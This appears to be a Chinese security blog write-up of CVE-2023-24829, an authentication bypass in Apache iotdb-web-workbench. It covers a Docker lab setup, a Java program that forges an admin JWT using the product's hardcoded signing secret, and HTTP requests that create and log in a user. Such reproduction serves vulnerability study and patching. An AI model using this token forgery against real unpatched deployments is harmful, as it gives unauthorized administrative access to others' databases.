当前位置: 首页 > article >正文

Apache iotdb-web-workbench 认证绕过漏洞 CVE-2023-24829

漏洞简介

8edfa602284b6b8157e783b0ae3aace9.png

  影响版本 0.13.0 <= 漏洞版本 < 0.13.3

  漏洞主要来自于 iotdb-web-workbench IoTDB-Workbench是IoTDB的可视化管理工具,可对IoTDB的数据进行增删改查、权限控制等,简化IoTDB的使用及学习成本。iotdb-web-workbench 中存在不正确的身份验证漏洞

环境搭建

  我们发现在 Releases 中已经删除到只剩最新版本,所以我们从 commits 中查找历史提交记录来搭建环境

1c06eefe4cd9b373019bffde9ca5d5db.png 70897c22351e98be467c3a0cbfbf8437.png

  下载下历史版本的源码,下载之后利用 docker 搭建环境

  需要修改一下 docker-compose.yml 将其中挂载数据库文件修改为

volumes:
      - ./backend/src/main/resources/sqlite/iotdb.db:/sqlite/iotdb.db

  直接在根目录下执行 docker-compose up -d 虽然镜像编译成功,但是执行后一直启动不成功,通过 docker logs 查看日志信息

e1fdf98782337bfc6bad6820eebd9a13.png

  发现后台的 jar 包没有编译成功拷贝到容器内,所以先进入 backend 执行 mvn package 编译 jar 。默认情况下都是依赖于 aliyunmaven 但是很奇怪这次编译时会提示无法从 aliyun 中下载文件,所以将 maven 的 settings.xml 配置文件关于 aliyun 的相关依赖注释掉,就可以编译成功。

  编译成功之后,再次执行发现了问题仍然存在,还是相同的错误类型。后来无论怎么修改 backend 目录下对应的 Dockerfile 文件,仍然无法成功。最后发现是因为没有修改根目录中的 docker-compose.yml,下载的仍然是有问题的镜像,没有去调用编译本地的镜像。

682433cb160c35e3c4f7705a72a7d359.png

  进到 backend 目录下 修改 Dockerfile 文件 删除掉 "${JAVA_MEM_OPTS}"

  执行 docker build -t test:v1 . 编译镜像

67d3c2d64773c4cd42ae625125e658e4.png

  编译之后,将 docker-compose.yml 中的 apache/iotdb-web-workbench:0.13.0-backend 替换为 test:v1

  再执行 docker-compose up -d

596d8dbd7459b4fba31f0ee8494edc98.png

  访问 http://127.0.0.1:8081/#/login

86bf5b9bbe569c67b0a7813397744b43.png

  环境如此就搭建好了,但是在实际中利用的话,还是建议不要使用 docker ,而是单独编译前端后端。

漏洞复现

  构造数据包请求保存用户时

e307496ce0d51116ac4625f86aafd10d.png

  提示没有登录

  创建一个 java 项目

import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;

import java.util.Date;

public class iotdb_CreateToken {

    private static String secret =
            "HSyJ0eXAiOiJKV1QasdfffffffSd3g8923402347523fffasdfasgwaegwaegawegawegawegawetwgewagagew"
                    + "asdf23r23DEEasdfawef134t2fawt2g325gafasdfasdfiLCJhbGciOiJIUzI1NiJ9";
    public static String generateToken(String username) {
        Date now = new Date();
        //    Calendar instance = Calendar.getInstance();
        //    instance.add(Calendar.HOUR_OF_DAY, 24);
        Date expireDate = new Date(new Date().getTime() + (1000 * 60 * 60 * 10));
        return Jwts.builder()
                .setHeaderParam("type", "JWT")
                .setSubject(0 + "")
                .setIssuedAt(now) // 签发时间
                .claim("userId", 1)
                .claim("name", username)
                .setExpiration(expireDate) // 过期时间
                .signWith(SignatureAlgorithm.HS512, secret)
                .compact();
    }

    public static void main(String[] args) {
        String token = generateToken("admin");
        System.out.println(token);
    }
}
a9d1228de4c42b811e953f5f3ed2d3e9.png

  将生成的 Token 加入到之前的数据包中

9f687ca7122653140f8e01068a348201.png

  创建用户成功,尝试登录

POST /api/login?name=test&password=123456 HTTP/1.1
Host: 127.0.0.1:8081
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 4

{
}
fb2ae1bb17061c6012aba55518c8ba85.png

  登录成功

漏洞分析

  org.apache.iotdb.admin.filter.TokenFilter#preHandle

17bb7fa7ea7a37210fbbe74232eba0e8.png

  在 TokenFilter 中 JJwtTool.getClaimsByToken(authorization); 从请求头中获取 token 并解析匹配

  org.apache.iotdb.admin.controller.UserController#login

ef93cb6a09827c58dc57c155bb4cb641.png

  我们发现 token 的来源是因为登录成功后会根据用户来生成 token JJwtTool.generateToken(user)

  org.apache.iotdb.admin.tool.JJwtTool#generateToken

e8f988a3dad702207052ac46fc8ceae6.png

  生成 Token 的相关参数均是可控的,所以我们可以自己构造

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

ee3a416407b4d56b28a996c01a346580.gif

靶场实操,戳“阅读原文“


http://www.kler.cn/a/4434.html

相关文章:

  • 【python】OpenCV—Local Translation Warps
  • Qt中容器 QVector、QList、QSet和QMap 性能与用途比较
  • 用Guiguider生成的字体代替LVGL默认字体
  • 【IDEA版本升级JDK21报错方法引用无效 找不到符号】
  • 音视频入门基础:RTP专题(1)——RTP官方文档下载
  • 提供的 IP 地址 10.0.0.5 和子网掩码位 /26 来计算相关的网络信息
  • Exception 和 Error
  • Pytorch梯度下降——up主:刘二大人《PyTorch深度学习实践》
  • 【HTB】Responder思路——Responder抓取ntlmhash、远程文件包含、远程代码执行、evil-winrm连接
  • 文件操作练习
  • Python中关于字典和Counter()的两点区别
  • PCB模块化设计06——HDMI接口PCB布局布线设计规范
  • 推荐5款精致小巧无广告的软件
  • 【深度学习】常见优化算法的NumPy和PyTorch实现
  • WebRTC技术分析
  • 【C语言蓝桥杯每日一题】——跑步锻炼
  • SpringBoot启动流程源码分析一、入口参数研究和创建对象
  • python基础篇:什么是装饰器?装饰器有什么用?
  • 【设计模式】单例模式
  • 蓝桥杯冲刺 - week1
  • ESP IDF docker 使用方法
  • C语言基础——运算符(定义变量、转义字符、输入输出语句、运算符、32个关键字)
  • 【华为OD机试 2023最新 】 识图谱新词挖掘(C++)
  • 用户态--fork函数创建进程
  • vue 监听器及计算属性高阶用法
  • vue Teleport和ref结合复用弹框组件